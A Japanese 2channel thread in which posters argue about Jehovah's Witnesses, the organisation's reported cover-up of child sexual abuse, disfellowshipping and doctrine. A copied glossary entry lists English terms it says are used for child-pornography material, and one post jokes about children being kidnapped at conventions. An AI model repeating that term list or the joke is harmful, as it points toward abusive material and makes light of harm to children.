"Dateline NBC"で放送された内容をmp3で聞くことが出来る。
http://www.silentlambs.org/dateline_mono_16kbps.mp3

番組の音声と画像を文章化したスクリプトも公開、
番組のビデオ販売もしている。

番組内容についての日本語の解説はJWICで
http://www.jwic.com/n052802.htm

>>93
悪かったな、常識のわかる人達、終末が近いんで、エホバは
民を選んでいるのだよ。

問題のある人間をかくまって、それを暴露した良識人を審問にかけるような
組織が、神の組織だと思うか？ここまで組織の腐敗が露呈されてもものみの塔を
信じることができるのは何故？

今回のスキャンダルは組織の問題以前に、信者個人個人のモラル
低下こそが深刻ではないかと考えます。
ただJW内の幼児性愛者の比率に関しては、いささか皆さんヒステリック
になっていませんか？アメリカは日本以上に、セクハラの基準に関しても
異常に敏感ですから、実際どんなレベルで問題が生じているかは正確に
は分からないでしょう（被害を受けた人の証言が大袈裟であると決して
思ってはいません。被害を受けた、もしくは感じた人や家族には心から
同情します）。いずれにせよ、JW組織がかつてないほど危機に直面して
いることを実感しますし、告発をした改革派の兄弟達の活発な動きにも
ますます注目していきたいと、私個人は思っております。

>>109
＞告発をした改革派の兄弟達の活発な動きにも
＞ますます注目していきたいと、私個人は思っております。

「改革派の兄弟達」が排斥の危機にありますので、応援してあげて下さい。

>>109

誰しも罪を犯すことはあります。しかし、それは司法によって公平に裁かれなけれ
ばならないと思うのです。
今回ものみの塔が犯罪者をかくまったのは、自らの組織の保身に為としか思えませ
んし、事実そうでしょう。今回の問題に関して、ものみの塔は組織として何らかの
罪に問われなければならないと思うのですが。

禿同

ぺドって何ですか？今日初めてここ来たばっかなので基本的な質問かもしれませんがお願いします。

ペド　ペドフィリア(幼児性愛者)の略語
参考　pedo- 【接頭辞】子どもの、幼児の。pedophilia, pedagogy(教育学)

【ペド】

読み: ペド
英語: pedo: pedophilia
発音: p`id#ef'ili#e , -do(u)-
品詞: 名詞

�@ペドフィリアの略。

�A幼女、 日本の通信用語で用いられる "ぷに" と同等、 あるいは、 それ以下
の年齢の者を表わすことが多い、 語源はギリシャ語。

�B幼女愛好ないしは小児愛好、 幼児を性的欲求の対象とする性的倒錯のこと
で、 犯罪行為を行なうこともある。

�C英語では "lolita"・ "pedo"・ "child"・ "young"・ "teen"・ "pre-teen" な
どがロリータ一般を表わす語として用いられ、 他に "incest"(近親相姦)、
"nudism"(裸体主義) などといった語も使われる。 但し、 厳密に言えば、
ロリータとペド、 チャイルドポルノは多少取られる意味合いは異なる。

親切にありがとうございました。よく分かりました。

誰かしゃべって。

sage信仰の方がイイのかな？
で、
sageてみるテスト

現役のみなさんへ。反対者の意見だけど、一言聞いてほしい。
108や109がふれた「改革派の兄弟達」こそ偉いと思うのですが。
だって、おかしいと気づいたらさっさとやめるのが普通でしょ。
だけどやめずに間違いを明らかにし、正そうとしている。

なかには、彼らは組織の転覆や権力奪取を画策しているのではないかと思う人がいるかもしれない。
でもそれなら、同じ意見の人を引き連れてやめて、新たに別の組織を作るほうが早道だとも思う。

純粋でまじめなんだと思う。
そういう人たちの意見にぜひ耳を傾けてください。

過去に神の民（組織）が何度も神を悲しませる行動をして
悪い結果を招いた経過が聖書中の歴史に記されています
そのような時期に冷静に目覚めて行動した一部の人たちの生き様について
思い起こすようにしたいと思います

>120
その冷静に目覚めた民がエホバの証人なんですよ。

>>121
ははは。なるほど。そういう見方をするんだね。
でも、
＞過去に神の民（組織）が何度も神を悲しませる行動をして
がエホ証だって見方もできなくないよ。
どっちも根拠ないのさ。

【排斥】
気に入らない奴にインネンを付けて追い出すこと。
(会衆内での性的虐待に関しては「示談」させる方向なので
排斥にならないシステムになっている模様。)

>>123
加害者は会衆は変わるのですか？
被害者にとって、加害者が同じ会衆にとどまって顔を合わすというのは、
ひどい恐怖かと・・・。

でもなんで示談なんでしょう。排斥でいいのでは？

示談はフランスの司令塔。おそまつ・・・。

>>124
あの記事見てると「特権をもった」人が加害者の場合がけっこうあるような。。

>>126
腐りきってるな。
あきれてものが言えません。

書籍研究の本Ｐ３０６には
ユダの指導者たちが、忠実な預言者たちに、
「正直な」つまり真実な事柄を語るのをやめ、
その代わりに偽りを語るよう命令して、
自分たちの耳をくすぐってほしいと思っていることが書かれています

そのようなことが神の組織と称するグループの中で起きているのだろうか

>>128
てか、レイモンド・フランズの排斥事情ってまさにそれじゃない？
「……っていうのやめてくれたら、ベテルにいさせてあげるからさ」
「やだ」
「じゃ、逝ってよし」(超要約)

そういう話だろ？あれは結局組織批判して放りだされるわけだし。

組織にたてつく者は神の恵みを得ることが出来ないのです。
あなたたち、何年エホ証やってるの？不忠実な者達よ。
目ざめなさい。こんなとこで組織批判してる暇あったら、
野外奉仕にでかけなさい。そして個人研究しなさい。
その際には、人間的な考えが入り込まないよう、素直に真理が
心に入るよう、祈りのうちに研究しなさい。

誰かがホジョするの発表するとき
みんな手をたたくけど
ホジョ達成したことを発表したときに手をたたくほうが自然じゃない？
よく頑張ったねって
これって人間的な考えで良くないのかな？

洗脳者発見。（１３０）

>>130
さまざまな反エホ証スレッドでおきている問題提起に対して自分の宗教を
擁護できないような人が、偉いことを言いなさんな。
これだから証人は・・・。

ペドを排斥にも出来ない組織だからな。。。
君等「清い」んじゃなくて「キモイ」よ。

子供に手を出すような卑劣な連中を
なぜ排斥にしないのだろう？
その理由が分からない。
なぜなんだろう。

>>131
補助はやろうとする本人の意思を誉めるのであって達成したしないは関係ないのでは？

１３６さんのおっしゃる通りの理由でなされていると思います
僕や長老に任命された人が何もしていないけど拍手されるのと同じですね

>>134
地域大会で幼女誘拐事件が多発したら、組織も考え直すかモナー。ヒヒヒヒヒ

>>137
確かに（良い行ないは）何もしていないけど･･････････
>>138
外部の人が犯人と分かったものについてのみ警察に報告します。

初めてここに伺います。
私は人間関係に躓いて組織から離れた元クリスチャンです。
離れた原因は、会衆の長老他成員に失望したからです。
引越しで、色んな会衆を転々とした私は、会衆によってもその人個人によっても、持っている基準って全然違うんだなと感じました。

　私は離れている間に色々な人と出会いました。好きな人も現れ、結婚して地元を離れました。会衆には報告してないので、「排斥」という処置も正式には受けていません。

今、振り返って思うと、私はエホバやその教えは好きだったけど、エホバの証人たちは嫌いだったような気がします。
もちろん全員に当てはまるわけではないのですが。それでも、証人たちが誹謗中傷されていたり、組織を否定しているスレ等を見ると、胸が痛みます。
終わりが来れば分かるわよ。早来ればいいのに。って思っちゃいます。（間違いなく私も滅びちゃうんですけどね笑）

大事なのは横との（人）繋がりではなく、縦との（エホバ神）関係だと今改めて思います。私が言うのもあれですけど・・・。
私の研究の司会者だった姉妹は、アンチエホ証の両親にも会衆の成員にもとても好かれていましたし尊敬されていました。
彼女会衆でも無くてはならない存在で、誰からも頼りにされていましたが、ある意味「一人」でした。
仲間のためなら惜しみなく力を貸しますが、決して自分色に染めることをせず、また誰かに染められることもありませんでした。
本当に何をするにもエホバと二人三脚って感じで。彼女を見ていると、本当にそこにエホバがいるみたいでした。

私が接してきた人の中で、真のクリスチャンだと心から言えるのは後にも先にも彼女一人だけです。
本当に強かったから。

他のクリスチャンの方々も、もっと強くなってほしいです。（わたしは負け犬ですが。）

俺の彼女は、エホバの証人でした。
婚前交渉しました。
っていうかやりまくりでした。

でも引き戻されてしまいました。

>証人たちが誹謗中傷されていたり

ペドをペドということは事実の記述であって、誹謗でも中傷でもないと思うが。
ローカルルールによる恣意的な会衆運営や、統治体のいろいろなごまかし、
かなりいい加減な書籍や雑誌記事の製造過程もまたしかり。
>>141
彼女、よく排斥にならんかったね。わりとゆるい会衆だったのか、
親が会衆内の有力者だったのかな。

まっ、要するに「バレ」なきゃＯＫって事でしょ？多分。

＞要するに「バレ」なきゃＯＫって事でしょ？多分。

天の父にはバレていますが・・・(^^)

悔い改めたのでしょう、それとも今でもエッチしてるのですか？

反省して、悔い改めて、忘れた頃にまたエッチ
これなら組織は許してくれる

今回の問題を起こした兄弟達が排斥されたかされてないか、あまり
憶測で話しても意味がないと思います。状況は刻一刻と変わって
るはず。ただひとつ言えることは、罪を犯した人は世間一般的に
も決して許されない行為をしたわけで、本当に誠心誠意悔い改める
必要があるし、社会的にも制裁を受けるべきです。それを隠密にし
ようとした組織の態度はやはり問題大ありだと思います。
「組織よ、判断を過ったね…」と皮肉の一言も言いたい気分です。

ヤギさま
初めまして。ヤギさんのとても純粋な心と、人間としての優しさを
伺える書き込みに敬意を払いたいと思います。ヤギさんのような
方が、人に躓いて組織を離れるということは、本当に残念なこと
です。ヤギさんこそ、クリスチャンにふさわしい方だと思います。
ヤギさんは決して負け犬なんかじゃありません。そうやって人を
落胆させたり、気落ちさせることは本来JWの本意ではないはずなの
に現実はそうなんですね。でもヤギさんはエホバの存在をしっかりと
感じてるようなので、引き続き神への信仰は保っていてくださいね。
JWの問題を提起させてくれる書き込みをしてくださって感謝です。
とても考えさえられます。

ヤギサんに対して、いろいろ偉そうに語ってしまっていたとしたら
お詫びします。

まっ、宗教組織なんかに頼らなくても、神に信仰を持てると言う
良い例だな。

>>148
禿同！
漏れは無神論者のはずだったが、最近、そうではなくて、
宗教組織不要論者なのかなという気がします。
聖書でもいいし、仏像や経典でもいいんだけど、それらに対して自分ひとりで向き合う。

聖書だったら聖書を開いて、神様に語りかけてみる。
聖書を通して、神と自分との関係ができる。
ほかに介在するものは何も必要としない。
つうのが、いいんでないかなと思うのですが。

信じていれば、選んでくれる、救ってくれるんでしょ、聖書の神様は。
アブラハムのころより「人は信仰によって義人とされる」などという聖句があるじゃないすか。

信じるだけじゃ救われないんだなーこれが。
そんなもん、ただの人間のエゴじゃん。
神の宇宙主権を擁護しなきゃいけないんだよ。
結局、JWのことうだうだ批判する人は楽をしたいだけの、
不従順者なんだよ。

>>150
エホ証のエゴだろ？
自分達の組織がやった事は棚に上げて何言ってんだか・・・・

きちんと、釈明してから『神の宇宙主権を擁護』なりをしてくれ。

>>150
新世界訳でいいですが、あなた聖書を一度でも通読したことありますか。
通読したことがあれば、
＞信じるだけじゃ救われないんだなーこれが。
なんて言い方はできないと思うのですが。

＞信じるだけじゃ救われないんだなーこれが。
そのとおり、悪魔だって神の存在や力知ってるよ〜
知ってて反逆したんだよ〜

>>153
エホ証も反逆してるけどな、神に。

信仰も、業が伴っていないならそれだけでは死んでいるのです

＞152
あなたは聖書を全巻通読して、ただ信じるものは
救われるという結論に達したんですか？
どうぞその根拠を説明してください。

>>155
「業」とは何ぞや？具体的な説明プリーズ。

>>155
いつまで組織に従って（だまされて）いればいいのですか？
では、生きた信仰のための業とは、具体的にはどういうことをどの程度すればいいのですか？
それが明確でないからあなたがた現役は、たとえば、日々伝道に歩き、ただ費やした時間を上に報告し、
業を行ったと思い込もうとする。そしてお互いを業で見るようになる、いわば監視する。
神は報告などしなくても全てごらんなのではないですか。

業、行いは信仰の結果、自然と表れるものなのです。神への感謝です。
誰の目を気にすることもありません。出来る人は出来る人なりに、出来ない人は出来ない人なりに。
エホ証の方々は、逆の考え方をしていませんか。

>>156
149も示しているが、アブラハムの箇所や、
特にローマ人への手紙などはその大きな根拠では。

一方で反論となる根拠を示してくださいな。

＞159
神は義を求めています。
イエスも述べ伝えるようにと命令されました。
業＝神の喜ばれることをすることです。
聖書の高い道徳基準を守ることも含まれるのは
ないでしょうか？

＞行いは信仰の結果、自然と表れるものなのです。神への感謝です。
誰の目を気にすることもありません。出来る人は出来る人なりに、出来ない人は出来ない人なりに

まさにその通りだと思いますよ。
エホバの証人も同じ考えですよ。
思い違いをするあなたのような人は、神を信仰するものを
迫害するのですね。

>>160さん
何で組織が必要なの？
個人的に高い道徳基準を守る事も出来ると思うのですが。

( ﾟдﾟ)

( ﾟдﾟ)(ﾟдﾟ)

( ﾟдﾟ)(ﾟдﾟ)( ﾟдﾟ)

( ﾟдﾟ)(ﾟдﾟ) ( ﾟдﾟ)(ﾟдﾟ)

(´∀｀）

( ﾟдﾟ)( ﾟдﾟ)(ﾟдﾟ)

( ﾟдﾟ)( ﾟдﾟ)(ﾟдﾟ) 　(´∀｀）　( ﾟдﾟ)( ﾟдﾟ)(ﾟдﾟ)

１６１さん
＞個人的に高い道徳基準を守る事も出来ると思うのですが。
そういう人も居るのかもしてませんね
でも、出来ない人たちも居るんです
教えられ、励まされながら出来る人も居るんです

もし、学校教育制度がなかったら
今の１６１さんのようなりっぱな人は存在しなかったかも？

１６９です　訂正

そういう人も居るのかもしてませんね
　　　　　　　　↓
そういう人も居るのかもしれませんね

　　　　　　　　　　　　 ∧ ∧
( ﾟдﾟ)( ﾟдﾟ)(ﾟдﾟ) 　(´∀｀）　( ﾟдﾟ)( ﾟдﾟ)(ﾟдﾟ)

>>169
オイラ全然立派じゃないですが何か？
マッ、冗談はさておき・・・

個人の能力が違うので、確かに出来る人・出来ない人と様々だと
は思いますが、組織が「清く」無くなっても、やはり組織が必要ですか？

信仰について考えるとき大切なのは「動機」とききます。
私は身体が健康ではなかったので、他の方のように活発に出来ず随分悩みました。

「業」について大切なのは量ではないのは明白です。
ただ私たちは不完全なので、見た目にわかりやすい「量」に目が向きがちです。
私達の全てをエホバがご存知であるという事がすでにわかっておられるのでしたら、謙遜に神に頼られてはどうでしょうか？

「わたしたちは、私達の弱いところを思いやることの出来ない方ではなく、〜」（ヘブライ４：１５）
大切なのは、「あなたとエホバとの関係」だと思います。

ちなみにルカ１５：１１〜の放とう息子のエピソードも個人的に好きです。
放とう息子が立ち返って我が家に帰ってきたとき、父親は（エホバをあらわす）まだ息子が遠くにいる間に彼の姿を見て哀れに思い、自ら駆け寄ってその首を抱き優しく口づけしたのです。
しかも一番良い衣を着せ、喜びを奴隷とわかちあいます。

段階もあります。
まず知識がはいります。
そして信仰が培われます。
そうして今まで自分がしてきたこと、してこなかったこと、悔い改めたいという気持ちがおこります。
そして転向といって、行動に表したいと思うようになります。

「業」にこだわり、苦しんでおられる方。
「業」を起こす前に納得すべきこと、改善すべき点があるのかもしれませんね。
あせらず、一つ一つこなせばいいのではないでしょうか？

ハナコさん、素晴らしい！

なんで人間如きに神が擁護されなきゃならんの?
ヨブ記あたりと真逆の気がするのですが。

>>173
申し訳ないが、知れば知るほどエホ証は正しくないなと感じます。
知識をエホ証に都合よいように取捨選択するならともかく。

わたしは今の組織の現状はよく知りませんが、
ここにこうして取り上げられる「事実」が決して「真実」じゃないことを望みます。
読んでいてすべてがそうとは思いませんが、やっぱり多少湾曲されてるところもあるのでは。
週刊誌にあることないことを如何にも事実のように書かれている芸能人みたいに。（下らない例えでスイマセン）
あとやっぱり、誤解されてるところも結構あると思う。（ていうかそう思いたい。）
真実を突き止める気も、誤解を解く気もないですけど・・。普通に考えて、人々が疑問を持つのは、仕方の無いことですから。

「誹謗中傷されてるのを見ると胸が痛む」と前回カキコしたのは、決して証人たちの不祥事を取り上げたものに対して向けたのではなく、
「偽善者」とか「エホ証は悪魔」　と書いているものに対して述べました。
あと明らかに「これは誤解だ」と思うものに対して。痛むと同時に、司会をしてくれていた姉妹の事を思い出します。
「姉妹なら、なんて言うだろう」って。

私は負け犬です。私は今でもこうした人たちの目が怖くて、自分がエホ証だったことを誰にも言えずにいるわけですから。

１７５さんへ
そう感じるのは残念ですが仕方がないと思います。ですが「崖の淵に近づいて行く盲目人を別の盲目人が道案内をしている」場合も少なからずあるんです。
私が唯一ただ一人の真のクリスチャンと仰ぐ人も、昔はその一人でした。

私がただただ思うことは、
まだ腐ってない組織があることと、
そこに交わる機会が１７５さんのような方々にあることです

「マインドコントロールされる」という意見もたまに聞きますが、

されません。（笑）

納得して学ぶ＝マインドコントロールは

大嘘です。（なら気が弱くて人に影響されやすい私は離れていません泣。）　


余計なお世話をべらべらとスイマセンでした。。。

>まだ腐ってない組織があることと、

ブルックリンの統治体が腐りきってることは明白ですが、何か？
あとここ一応sage進行の筈なんで(いま思いだした)よろしく〜

>>173 ハナコさん
＞大切なのは、「あなたとエホバとの関係」だと思います
私も個人的にはそう思いますよ。
でもね、エホ証って「神」の影響力より「組織」の影響力の方が
明らかに強くて、「あなたと組織の関係」の構図になってませんか？

一度、客観的に見てみる事を是非お勧めしたい所存でありんす。

>>176
納得して学ぶ＝マインドコントロールは
大嘘です。（なら気が弱くて人に影響されやすい私は離れていません泣。）　

マインドコントロールとて絶対ではありませんよ。その点あなたは自分の
考えをしっかり持っていた強い人だと思います。
協会が行っているようなことを指すために、マインドコントロールという
言葉があるのです。

>>178
「〜。きわめて意欲的な態度でみ言葉を受け入れ、それがそのとおりかを日ごとに聖書を注意深く調べたのである。」（使徒１７：１１）

協会は出版物もたくさん出していますが、一番大切にしているのは聖書です。
とにもかくにも聖書を開くように強く勧めています。
エホバの証人ほど聖書を読んだり調べる事に熱心な人は、他に少ないような気がします。

「組織」のこともここではよく悪く言われているようですが、私は好きですよ？
キリストに見倣って、トイレ掃除や雑用を率先して行う。
地域大会でも、壇上で話が終わると一般の席に戻る。
偉そうなバッジやなど、自分たちを区別するための仰々しいモノはつけない。
一年も昔のめったに会わない人へ、雑用を手伝ってもらったことに対するお礼をして下さる。
謙虚ですよ、とても。

>協会は出版物もたくさん出していますが、一番大切にしているのは聖書です。

でも改竄してるから、それを「大切」といわれるのは片腹痛い。

論理のすりかえだな。気がつかないんだろうけど、自分では。
===
キリストに見倣って、トイレ掃除や雑用を率先して行う。
地域大会でも、壇上で話が終わると一般の席に戻る。
偉そうなバッジやなど、自分たちを区別するための仰々しいモノはつけない。
一年も昔のめったに会わない人へ、雑用を手伝ってもらったことに対するお礼をして下さる。
===
これは利害関係のない相手に対する、個々人の対人態度の問題でしょ？
いま問題になっているのは、教理に対する批判についての態度や、ペドフィリア隠蔽問題や、
国連ＮＧＯ加盟問題(かつそれを公表されるとすぐ取り消し申請)という
「組織」(つか宗教法人)としての対応なので、話のレヴェルがぜんぜん
違います。

むづかしいですか？

好きなのは勝手だし、信教の自由は保証されるべきだと思うけど、
ハナコさん。
けど、絵保証って結構被害者を出してるんだよね。知り合いにも
家族が恵歩証に入って家庭崩壊ってのがあったし。
終末思想からしてやっぱカルトにしか見えないのは事実なんだよね。

>>183
逆もあるよ？
知り合いにエホバの証人の集会に行ってるだけで、ダンナさんに殴られて顔にたくさんあざをつくってるひともいる。

家庭を良くしようとして、夫に敬意を払う。悪に悪を返さない。etc.
がんばって実践しようとしているのに（涙）。

>>142
＞彼女、よく排斥にならんかったね。わりとゆるい会衆だったのか、
＞親が会衆内の有力者だったのかな。

んー。俺はエホバをやめて欲しくて、二人で話し合って、
セックスをしたらやめられる（＝やめなくちゃならない）って言うし、
二人で納得して、それでエッチしたんですよ。

だけど、なんだかんだ言って引き戻されました。
やってないって言えば、バレないっていうことなんじゃないでしょうか。
処女でも血がでない女の子っているって言うし。

>184
それは警察に行った方がよいのでわ。
そゆの逆とは言わなひ。
この場合「エホであたしたちこんなにしやわせ」てのが適当かと。
それともエホ証差別について主張したいのかな。

昔親がエホバやってて俺も王国快感逝ってたよ
確か１９１４年に産まれた人が生きている間にハルマゲドン
来るんだよね？もう９０歳近い、、１０年くらい前は　いつ
ハルマゲドン来るの？って聞いたら人の人生七筋八筋だから
もういつ来てもおかしくない、、っていってたのに、まてど
暮らせど来ない！　もう訂正されたのかな、、、

あと、確かエホバの証人と一回も会わなかった人、伝道されたことが
ないひとは、楽園で行き返るんだよね？じゃー、エホ証は伝道やめれば
いいのに、、

子供の頃から親が信者だったから強制的に色々連れ回された
けど、こんな人たちと永遠に生きるよりも快楽の限りを
求めて５０年生きた方がよっぽど幸せだと中学の頃思って
もう、集会もいかなくなった。

そしたら親も自分で色々調べて間違いに気づいて辞めた

＞こんな人たちと永遠に生きるよりも快楽の限りを
求めて５０年生きた方がよっぽど幸せだと中学の頃思って

そう思われたのは無理もないことなのでしょう
ただ、将来自分の死期が近いことを察したとき
考えは変わっているかもしれませんね
もっと生きたいって

>>189
まあね、多分そう思うだろうけど
楽園なんてないし、ハルマゲドンは間違い無くこないから
楽しんで人生まっとうするか、エホバ信じて死ぬ時は希望に
満ち溢れてるかのどっちか

死ぬ前にエホバに疑い持っちゃう人は本当に悲惨だろうな、、

dendo.さん、あなた本当に性格悪いですよ。
少しは尊重くらいしてあげてください。
それにここは一応現役スレなんです。

あなたの発言は批判を通り越して誹謗中傷ですよ？
あなたは間違っていると確信して離れたのでしょう？
本当のキリスト教というものを知って正教に通われているんでしょう？

あなたと同じようにエホバの証人の皆さんは自分たちがキリスト教徒であると
思い、イエスの教えにしたがってるのです。いや、つもりかも知れませんが…。
あなたは正教へ通い、それで自分は良いと思っているのでしょう？
でしたらそこまで目くじらを立てないであげてくださいよ。

クリスチャンとして恥じない行動をしてください。
ものみの塔が間違っているとして、イエスが現代にいたとしたなら、貴方のような
行動をとるでしょうか？

よく考えてみてください。イエスの教えに従うクリスチャンならば。

※エホバの証人さんの信仰を上記で「信じてるつもりかも」と言ったのは、飽くまで
一般的なクリスチャンとしての見解であり、断定しているわけではありません。
気分を害されたとしたら、謝罪させて頂きます。

　　エホバの証人を母に持つ、生まれもっての無宗教者より（神の存在は否定も肯定もしません）

あげてしまった。。。
すいません。。。

>>191
そもそも「閉鎖的」なスレは作らないのが2chの常識。
それが嫌なら2ch外でおやりになればよろしいのでは？

ふざけるなスレで擁護がいるように、現役スレに叩きがいる。
対照的だと思いますがどうでしょうか。

＞１９３
敵も味方も入り交じり団子状態で助けたり足を引っ張り合ったりしてるんです

＞１９１
＞イエスが現代にいたとしたなら
宗教上の偽善を毅然として暴露されるでしょう

>>184
家庭を良くしようとして、夫に敬意を払う。悪に悪を返さない。etc.
がんばって実践しようとしているのに（涙）。

そんなのは人間としてあたりまえのこと。
エホ証じゃない家族だって家族関係が良くなるようにがんばっている。
組織の書籍には世の人間の悪い例しか載ってないから、自分の宗教だけが
良いことを実践しているって錯覚に陥るのもわかるけどな。
自尊心だらけの本ばっかり読んでると、他の人を見下すようになるんだね。

>>184
「夫に敬意をはらい、悪には悪を返さないようにし、家庭を良くすれば
　いつか夫も真理を理解してくれるだろう」

こういう気持ちなら、それはますます不信者の夫の心を荒れさせます。
（うちもそうだったからね、よく知っていますよ）

「私がこんなに頑張っているのに、夫は分かってくれない・・（涙）」
と、じつは、妻の心の底は不満でいっぱい。

誰か今週の第４の話考えてください。
与えられた主題
「旧約聖書のエホバは、新約聖書のイエスキリストのことですか」

・・・いいえ、違います。
そんだけで、終わってまう！

組織は、話を作る人間のこと考えているんだろうか。

エホ証ってなんですか？
阿呆症、痴呆症の部類ですか？

みなさんが批判しているのは何を根拠にそうしているのでしょうか？
エホ証はあくまで神の言葉聖書を基としてものみの塔や目ざめよ誌を作成しています。
それは雑誌を見ればわかることです。
しかし批判や中傷をする人の発言はいかがでしょうか？
自分の考え、若しくは聖書に基づいていない哲学などに重きを置いているんじゃないですか？

何か反論は？

>>191
私にいわせれば、現役様が地下で回したがっているスレを
わざわざageで書くあんたもたいがいひどいと思うんだが。
組織防衛したい偽未信者とかんぐられても、しょがないよ。

というわけで、sageてね。＞all
>>197
sageてないっすよ;
筋書きとかの話題は夜来るとレスつきやすいよ。
第四の話って10分だっけ。それはまず三位一体について紹介してから、
「いいえ違います」をもってくるのが一般的やりかた。って私が知恵をつけてどーするんだか。
ひねったやり方だと、今日のヨハネ伝の解釈「ヤーウェ=父=子=キリスト」
# ego eimi「わたしはある」「わたしである」という言い方が頻出する。
# これ、あきらかに YHWH を意識したいいかた
を紹介して、というか三位一体を枕につなげて、これを反論する。
とはいってもこの説かなりがっちりしてるからうかつにやると反論がしょぼくなって
評価「可」。素人にはおすすめできない(まあ「マイクの使い方」とかならしらんが)。

>>199
>それは雑誌を見ればわかることです。
>何か反論は？

えーと、
家々に伝道して歩いて、脈が有りそうな人に楽園の想像図を見せて、
「これが楽園です。」みたいなウソを言わない方が良いんじゃないの。
あの想像図を真に受ける人は多いんじゃないの。

>>201
すんませんが、ここは「組織立てなおし」について現役様が血の汗ながして
(という句は実は後代の挿入らしいが)苦悩するところなので、
教理問答はふざけるなでお願いします。てかそのほうが、あとで話題の
切り出しにも便利だし。(2chjwおせわになってます)

201に反論したい方賛成したい方もよろしこ。

>>201さん
「原野商法」の様ですね。。。(笑)
楽園予想図・・・・

はい。
静かにしていますので、建て直しの話してね。

組織の建て直しじゃなくって、
あんたたちの建て直しでしょ？

理想＝ものみの塔の表紙みたいな地上の楽園
現実＝北朝鮮も真っ青のファシスト共の“楽園”

>>206
プロテスタントやカトリックの人達はエホ証の信条（たとえば地上の楽園）を嘲笑っていますが
エホ証は神の言葉聖書を基に、またイエスご自身も言及されている故に楽園を信じているのであり､
それを批判している方々は聖書を全く信頼していないということになります。
つまりプロやカトは聖書とイエスを信じていると唱える偽クリスチャンなのです。

プロテスタントの信者さんに聞いたんだけど
聖書に書いてあることは神話だって言ってましたよ

>>208
それが事実だとすればまさしく聖書を信頼していないということになるわな。

楽園をほんとうにを信じてる基地外はいるの？

後楽園　知ってるよ

>>210
わしゃ信じとるよ。
聖書に書いてある預言がことごとく成就してるから楽園の預言も成就するとな。
210はキリスト教徒ではないとみた。

>>200
第四の話は5分

＞２１３
５分以外の話をする人の中にはチャイムが鳴らないのをいいことに
タイムオーバーを習わしにしてる人もいるね
講演を１０分近くオーバーする人もいるけど
筋書きの指示　ちゃんと見てるのかな？

>>213
さんくすこ。
またひとつＪＷについて忘れたことが増えたよ(嬉)

>>215
エホバの組織に帰りたいの？
そしたらもっと素直になりましょうよー

1の兄弟よ。
あなたは背教の疑いがあります。
仲間を扇動して何の意味があるのですか？
悔い改めてください。

>>217
はい、悔い改めます。

これ以降このスレは
−−−−−−−−−現役エホ証が組織への服従を誓い合うスレ−−−−−−−−−
に改名します。

>218
いいえ、服従はエホバに対してのみです。
しかし組織への冒涜=神への反逆ですよ。

>>216
エホバってどこの邪神？

>>220
アンタのほうが、タチ悪い

>>200
失礼致しました、今度は下げさせていただきます。
ただ、私の書いた内容に関してはなにもないのでしょうか？

私はイエスが聖書に書いてある通りの人物であるとは正直考えてはいませんが
（まぁ近いとは思いますが）
クリスチャンでしたらもしまだ洗礼を受けていないとしても、イエスのに倣う
べきだと思うのです。

ものみの塔の間違いをイエスだったらどう指摘しますかね。
少なくとも聖書のとおりの人物ならばあなたのように人を小ばかにした態度では
モノを言わないと思いますよ。
現役様が〜と言うのでしたら貴方がここにレスをつけるのもいかがなものと思いますが。
私もその点で人の事は言えませんが。

>>220
あなたが崇拝している神の誤読でしょう！
そんなこと分かっていながらひどいとは思いませんか？
まぁ確かに>>216の物言いもかなり屈折しているとは思いますが、ね。

話によると聖誕教会（かな？）でカトリック、正教、コプト教、アルメニア教が同じ
キリスト教同士でありながら罵りあっているせいでイエスのイコンが涙を流したことが
あるとのこと。
私はそんな事信じていませんが、それが本当ならば、イエスを泣かせている者の一人では
ないですか？

>>222
賛成。自分も不思議に思った。
どうしてエホバの証人関係のスレッドで、ボス的態度（間違ってたらすみません。でも、そうとられても仕方のない部分はあると思います）をとっているのか。
エホバの証人を離れたんですよね？
しかも書く内容は、言葉の汚い中傷が多い。
少なくとも聖書を学んでいるのなら、こういう態度は誰が見てもおかしいと思います。

人の宗教をどうこういう前に、自分の言動を直してほしいです。

某コピペ

【問題】
「ものみの塔聖書冊子協会」は一般的に「エホバの証人」と
呼ばれていますが、実際のところ何と呼ばれているでしょうか？

次のうち、正しいと思うものを１つ選びなさい。

�@エホバの人
�Aエホバの使用人
�Bエホバの証人
�C緋色の証人
�Dエロ場の証人
�Eペド場の証人

＞２２４
うちの近くでは　アーメンさん　って呼んでるよ
キリストが来た　とも言うけど

dendo.さんは都合の悪い事には答えないのですね。

日本支部のＰＣにも色々と隠蔽されてる情報があるらしいよ

>>227
教えてくらさい。

>>226
エホバの証人ってみんなそうですよ。

＞227
わしも知りたい
教えんしゃい

>>222
エホ証のこと何も知らないで書き込んでるんだね……
エホ証は自分たちの崇拝している「エホバ」と他の教会が崇拝している「ヤーウェ（とか）」
を、読み方の違いとして片付けたりはしないよ。
エホ証のベースに乗っかったが故の罵倒だと思うけどね＞邪神云々

>>231
そうなんですか？
一応母が現役ですが、小学校に上がるか上がらない位の頃に組織と交わらなくなった
僕なので、ものみの塔について話をしますと親子喧嘩につながるので話していません
が、一応友人の証人さん（高校時代の同級生で母と同じ会衆）に色々聴いたりするの
ですが、ヤーウェと同じと言っていますよ？

誤読であることも認めています。彼がいうには「神の名前を隠さずに呼ぶことが大事」
とのことで、例え間違っていてもそう呼ぶ気持ちが必要なのだそうです。
…だったらヤーウェで良い気がしますが。

それに一応親と同居している身ですので、ものみの塔関連の資料は大量にあります。
何度かものみの塔誌やめざめよ誌は読んでいますので、何も知らないということはあり
ません。

まぁ子供の頃は父親の反対で読むことすら禁止されていましたので、当時のことは全く
分かりませんが。

>>232
>…だったらヤーウェで良い気がしますが。

でしょう? なのに頑なに「エホバ」という呼び方に拘っている。
ところでエホ証は、自分たちが崇拝している対象と他教会の崇拝している対象が
読み方が違うだけで同じ存在だと考えていると思う?

エホバは誤読だと認識しつつそれでも使い続ける必要があるのは、他教会の
崇拝対象と自分たちの崇拝対象が異なるものであることを示す大事なラベル
だからです。

ということで、エホ証のこの考えに乗っかると、他教会の人間がエホ証のエホバを
単なる誤読として扱うのは、ある意味エホ証に失礼な話なの。

test

組 織 は も う だ め ぽ

>>233
つまり他教会は同じ神をヤーウェと呼んでいるのですね。

>>236
日常的に呼んではいないと思いますけどね。
普通は「主」と呼んでるんじゃないかな。よく分からないけど。

>>236
昔はどこの教会もエホバ言うてたよ。
普段は主だけど

他の教派がヤハウェ、ヤーウェ、ヤーヴェと呼ぶように変わってから
エホ証に対する「誤読叩き」が始った気がする。

お前らも何百年もエホバいうてたっちゅうねん

批判すべきところは他にいくらでもあるやろ
呼び方なんてしょーもない思わんの？

誤読批判はしてませんが。

>238
誤読に気が付いたら普通は改めるんじゃないの？
犬猫の名前じゃなくて神の名前なんだからさ

